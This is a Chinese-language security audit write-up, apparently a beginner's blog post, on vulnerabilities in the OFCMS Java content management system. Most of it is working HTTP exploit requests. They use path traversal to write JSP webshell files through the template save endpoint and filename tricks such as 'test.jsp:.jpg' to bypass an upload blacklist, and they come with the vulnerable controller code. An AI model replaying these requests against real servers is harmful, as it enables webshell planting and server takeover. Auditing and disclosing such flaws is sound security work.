后台任意文件上传 (可任意路径)
漏洞位置如下图:
点击保存,利用burp拦截数据包,分析参数。
数据包如下:
POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 5189
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=B184EAF15C0B03D0E86AECBCE4D57E82
Priority: u=0
file_path=D%3A%5Cjava%5Capache-tomcat-8.5.0-windows-x86%5Capache-tomcat-8.5.0%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3C%23assign+column_name%3D'%2F'%2F%3E%0A%3C%23include+%22default%2Fcommon%2Fhead.html%22+%2F%3E%0A%3Cdiv+class%3D%22of-banner%22%3E%0A++++%3Cdiv+class%3D%22layui-carousel%22+id%3D%22banner%22%3E%0A++++++++%3Cdiv+carousel-item%3D%22%22%3E%0A++++++++++++%3C%40of.ad+site_id%3Dsite.site_id+edition%3D%22banner%22%3E%0A++++++++++++%3C%23list+ad+as+data+%3E%0A++++++++++++++++%3Cdiv%3E%3Ca+href%3D%22%24%7Bdata.ad_jump_url!'javascript%3A%3B'%7D%22%3E%3Cimg%0A++++++++++++++++++++++++src%3D%22%24%7Bsession.site.access_protocol%7D%3A%2F%2F%24%7Bsession.site.access_path%7D%24%7Bdata.ad_image_url%7D%22%0A++++++++++++++++++++++++alt%3D%22%24%7Bdata.ad_name%7D%22+style%3D%22width%3A+100%25%3B%22%3E%3C%2Fa%3E%3C%2Fdiv%3E%0A++++++++++++%3C%2F%23list%3E%0A+++++++++++%3C%2F%40of.ad%3E%0A++++%3C%2Fdiv%3E%0A%3C%2Fdiv%3E%0A%3C%2Fdiv%3E%0A%3Cdiv+class%3D%22of-content%22%3E%0A++++%3Cdiv+class%3D%22of-crad%22+style%3D%22height%3A+250px%3Bwidth%3A+1200px%3Bmargin%3A+0+auto%3B%22%3E%0A++++++++%3C!--%E6%96%B0%E9%97%BB--%3E%0A++++++++%3Cdiv+class%3D%22announce%22+style%3D%22float%3A+left%3B%22%3E%0A++++++++++++%3Cp+class%3D%22title%22%3E%E6%9C%80%E6%96%B0%E6%96%B0%E9%97%BB%3C%2Fp%3E%0A++++++++++++%3Cul%3E%0A++++++++++++++++%3C%40of.content_list+site_id+%3D+site.site_id+column_name%3D%22industry%22+limit%3D5%3E%0A++++++++++++++++%3C%23list+content_list+as+data+%3E%0A++++++++++++++++++++%3Cli%3E%3Cspan%3E%24%7Bdata.create_time%7D%3C%2Fspan%3E%C2%B7++%3Ca+href%3D%22%24%7Bdata.url%7D%22+title%3D%22%24%7Bdata.title_name%7D%22%3E%24%7Bdata.title_name%7D%3C%2Fa%3E+%3C%2Fli%3E%0A++++++++++++++++%3C%2F%23list%3E%0A+++++++++++++++%3C%2F%40of.content_list%3E%0A++++++++++++%3C%2Ful%3E%0A++++++++%3C%2Fdiv%3E%0A++++++++%3C!--%E5%85%AC%E5%91%8A--%3E%0A++++++++%3Cdiv+class%3D%22announce%22%3E%0A++++++++++++%3Cp+class%3D%22title%22%3E%E7%B3%BB%E7%BB%9F%E5%85%AC%E5%91%8A%3C%2Fp%3E%0A++++++++++++%3Cul%3E%0A++++++++++++++++%3C%40of.announce_list+site_id%3Dsite.site_id+limit%3D5%3E%0A++++++++++++++++++++%3C%23list+announce+as+data+%3E%0A++++++++++++++++++++++++%3Cli%3E%0A++++++++++++++++++++++++%3Ca+href%3D%22%24%7Bdata.id%7D%22%3E%3C%2Fa%3E%7C%0A++++++++++++++++++++++++++++%3Cspan%3E%24%7Bdata.create_time%7D%3C%2Fspan%3E+%3Ca+href%3D%22page.html%3Fs%3D%2Fannounce%26content_id%3D%24%7Bdata.id%7D%22+title%3D%22%24%7Bdata.title%7D%22%3E%24%7Bdata.title%7D%3C%2Fa%3E%0A++++++++++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++++++%3C%2F%23list%3E%0A++++++++++++++++%3C%2F%40of.announce_list%3E%0A++++++++++++%3C%2Ful%3E%0A++++++++%3C%2Fdiv%3E%0A++++%3C%2Fdiv%3E%0A++++%3Cdiv+class%3D%22of-crad%22+style%3D%22height%3A+370px%3Bwidth%3A+1200px%3Bmargin%3A+0+auto%3Btext-align%3A+center%3B%22%3E%0A++++++++%3Cimg+src%3D%22%24%7Breroot%7D%2Fstatic%2Fassets%2Fimage%2Fapp.png%22%3E%0A++++%3C%2Fdiv%3E%0A++++%3Cdiv+class%3D%22of-crad%22+style%3D%22height%3A+300px%3Bwidth%3A+1200px%3Bmargin%3A+0+auto%3B%22%3E%0A++++++++%3C!--%E6%A1%88%E4%BE%8B--%3E%0A++++++++%3Cdiv+class%3D%22case%22%3E%0A++++++++++++%3Cp+class%3D%22title%22%3E%E5%AE%A2%E6%88%B7%E6%A1%88%E4%BE%8B+Case%3C%2Fp%3E%0A++++++++++++%3Cul%3E%0A++++++++++++++++%3C%40of.content_list+site_id+%3D+site.site_id+column_name%3D%22case%22+limit%3D8%3E%0A++++++++++++++++++++%3C%23list+content_list+as+data+%3E%0A++++++++++++++++++++++++%3Cli%3E%0A++++++++++++++++++++++++++++%3Ca+href%3D%22%24%7Bdata.url%7D%22+%3E%3Cimg+src%3D%22%24%7Bwebroot%7D%24%7Bdata.thumbnail%7D%22%3E%3Cspan+style%3D%22margin-top%3A+15px%3B++++display%3A+inline-block%3B%22%3E%24%7Bdata.title_name%7D%3C%2Fspan%3E%3C%2Fa%3E%0A++++++++++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++++++%3C%2F%23list%3E%0A++++++++++++++++%3C%2F%40of.content_list%3E%0A++++++++++++%3C%2Ful%3E%0A++++++++%3C%2Fdiv%3E%0A%0A++++%3C%2Fdiv%3E%0A++++%3Cdiv+class%3D%22of-crad%22%3E%0A++++++++%3Cdiv+class%3D%22of-crad-content%22%3E%0A++++++++++++%3Cdiv+class%3D%22of-crad-title%22%3E%E5%85%B3%E4%BA%8E%E6%88%91%E4%BB%AC+About%3C%2Fdiv%3E%0A++++++++++++%3Cdiv+class%3D%22of-crad-body%22%3E%0A++++++++++++++++%3C%40of.content+content_id+%3D+'45'+site_id%3Dsite.site_id%3E%0A++++++++++++++++%3Cdiv+class%3D%22of-crad-body%22%3E+%24%7Bcontent.content%7D%3C%2Fdiv%3E%0A++++++++++++%3C%2F%40of.content%3E%0A++++++++++++%3C%2Fdiv%3E%0A++++++++%3C%2Fdiv%3E%0A++++%3C%2Fdiv%3E%0A%3C%2Fdiv%3E%0A%3Cscript%3E%0A++++layui.use(%5B'carousel'%2C+'element'%5D%2C+function+()+%7B%0A++++++++var+carousel+%3D+layui.carousel%3B%0A++++++++var+element+%3D+layui.element%3B%0A++++++++%2F%2F%E5%9B%BE%E7%89%87%E8%BD%AE%E6%92%AD%0A++++++++carousel.render(%7B%0A++++++++++++elem%3A+'%23banner'%0A++++++++++++%2C+width%3A+'100%25'+%2F%2F%E8%AE%BE%E7%BD%AE%E5%AE%B9%E5%99%A8%E5%AE%BD%E5%BA%A6%0A++++++++++++%2C+arrow%3A+'always'+%2F%2F%E5%A7%8B%E7%BB%88%E6%98%BE%E7%A4%BA%E7%AE%AD%E5%A4%B4%0A++++++++++++%2C+height%3A+'350px'%0A++++++++++++%2C+autoplay%3A+true%0A++++++++++++%2C+full%3A+false%0A++++++++++++%2C+interval%3A+3000%0A++++++++%7D)%3B%0A++++%7D)%3B%0A%3C%2Fscript%3E%0A%3C%23include+%22default%2Fcommon%2Ffooter.html%22+%2F%3E
代码分析审计
根据请求包的路径,去后端找对处理该模块的代码
路径如下:src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
主要是上图这段代码进行处理。
代码细节分析
可以看到后端通过“systemUtil.getSiteTemplateResourcePath”函数在应用程序中获取网站模板资源的路径,并赋值给pathFile。
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
之后,通过获取一个dirs(用户可控)获取一个字符串,之后通过File拼接到pathFile后边,这里就导致一个问题,由于dirs用户可控,因此可以通过../../文件名 ,这种方式去将文件上传到任意位置。这里其实存在问题不止于此,路径可控,file_name(文件名)可控,这样就可以通过上传文件到计划任务等目录下。
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");//fileName可控
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
//进行url解码,其余无任何过滤。
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName);
//将fileContent的内容写入到file中,fileContent可控
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
File
这里其实逻辑通俗一点的用代码表达如下
String pathFile = "D:\www\test";-------------在该cms中给参数由系统从内部获取
String dirName = "aaaa/"; ---------------------该位置又dirs传入,dirs又由用户可控
pathFile = new File(pathFil, dirName); --------pathFil的结果相当于D:\www\test\aaaa/
因此通过dirs就可以实现任意目录上传。
漏洞复现
姿势一:
通过dirs控制路径上传文件。
POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1321
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=B184EAF15C0B03D0E86AECBCE4D57E82
Priority: u=0
file_path=D%3A%5Cjava%5Capache-tomcat-8.5.0-windows-x86%5Capache-tomcat-8.5.0%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=..%2f..%2f..%2fstatic%2f&res_path=&file_name=shell.jsp&file_content=shell_code
姿势二
POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1323
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=B184EAF15C0B03D0E86AECBCE4D57E82
Priority: u=0
file_path=D%3A%5Cjava%5Capache-tomcat-8.5.0-windows-x86%5Capache-tomcat-8.5.0%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2f&res_path=&file_name=..%2f..%2f..%2fstatic%2fmazi.jsp&file_content=shell_code
Freemarker模板注入(SSTI)
FreeMarker 是一款 Java 语言编写的模板引擎,它是一种基于模板和程序动态生成的数据,动态生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件。
FreeMarker 模板文件主要由如下 4 个部分组成:
文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出;
注释:使用<#-- ... -->格式做注释,里面内容不会输出;#
#插值:即${...}或#{...}格式的部分,类似于占位符,将使用数据模型中的部分替代输出;
FTL 指令:即 FreeMarker 指令,全称是:FreeMarker Template Language,和 HTML 标记类似,但名字前加#予以区分,不会输出。
漏洞位置:
代码分析
通过控制器名称,结合pom.xml文件,发现该系统使用了freemarker
组件,该组件是存在SSTL注入的问题。
找个html文件。
poc:
前台XSS漏洞
漏洞位置:
看到留言框肯定要去插一下呀。
构造payload:
数据包如下:
代码分析
同样根据数据包的请求路径去分析后台代码
跟踪一下Db.update发现直接通过预编译将用户输入的内容加载到数据库中,访问该界面是直接从数据库取出数据放入前端进行加载。
后记(失败的文件上传)
其实后台有一些上传功能也可以实现任意文件上传
POST /ofcms_admin/admin/ueditor/handler.html?action=uploadFile HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------36062508166233117921025510710
Content-Length: 215
Origin: http://10.4.82.181:8080
Connection: close
Cookie: JSESSIONID=CC24B754F8DAACBBCF8722216E88C4F3
Upgrade-Insecure-Requests: 1
Priority: u=4
-----------------------------36062508166233117921025510710
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg
-----------------------------36062508166233117921025510710--
POST /ofcms_admin/admin/comn/service/upload.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------32351271103968920550378905339
Content-Length: 450
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/f.html?p=comn/upload.html&type=test&fileParam=%7B%22fileAccept%22%3A%22file%22%2C%22fileSize%22%3A%225120%22%7D
Cookie: JSESSIONID=CC24B754F8DAACBBCF8722216E88C4F3
Priority: u=0
-----------------------------32351271103968920550378905339
Content-Disposition: form-data; name="file"; filename="1.Jsp"
Content-Type: image/jpeg
-----------------------------32351271103968920550378905339
Content-Disposition: form-data; name="p"
comn/upload.html
-----------------------------32351271103968920550378905339
Content-Disposition: form-data; name="type"
test
-----------------------------32351271103968920550378905339--
POST /ofcms_admin/admin/comn/service/editUploadImage.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------355811040324718360433030298613
Content-Length: 222
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/f.html?p=system/announce/add.html
Cookie: JSESSIONID=148CEBB652EB0E030D9D7116B010A618
-----------------------------355811040324718360433030298613
Content-Disposition: form-data; name="file"; filename="1.jsp;.jpg"
Content-Type: image/jpeg
-----------------------------355811040324718360433030298613--
代码分析
如下图所示:
UploadFile file = this.getFile("file", "image");
//指定了上传文件为图片类型
file.getFile().createNewFile();
跟进这个方法。
如下图:
这里限制了不允许跨目录,又做了除了“/static/下的文件可以直接访问,其他的限制,html,jsp,json文件”如下图所示:
但是这里绕过也简单,黑名单嘛,利用windows特性,绕过姿势如下:
POST /ofcms_admin/admin/comn/service/upload.json HTTP/1.1
Host: 10.4.82.181:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------19357649933936823912872389978
Content-Length: 464
Origin: http://10.4.82.181:8080
Connection: close
Referer: http://10.4.82.181:8080/ofcms_admin/admin/f.html?p=comn/upload.html&type=test&fileParam=%7B%22fileAccept%22%3A%22file%22%2C%22fileSize%22%3A%225120%22%7D
Cookie: JSESSIONID=B184EAF15C0B03D0E86AECBCE4D57E82
Priority: u=0
-----------------------------19357649933936823912872389978
Content-Disposition: form-data; name="file"; filename="test.jsp:.jpg"
Content-Type: image/txt
asdasda
-----------------------------19357649933936823912872389978
Content-Disposition: form-data; name="p"
comn/upload.html
-----------------------------19357649933936823912872389978
Content-Disposition: form-data; name="type"
test
-----------------------------19357649933936823912872389978--
这里在后端会通过window特性会将:.jpg去除,然后就变成了test.jsp
但是无法跨目录,而且在上边做了限制,该目录下“/upload/image/” 无法访问。
小弟才疏学浅,首个审计的java程序,在这里想做一个记录内容应该有很多不足。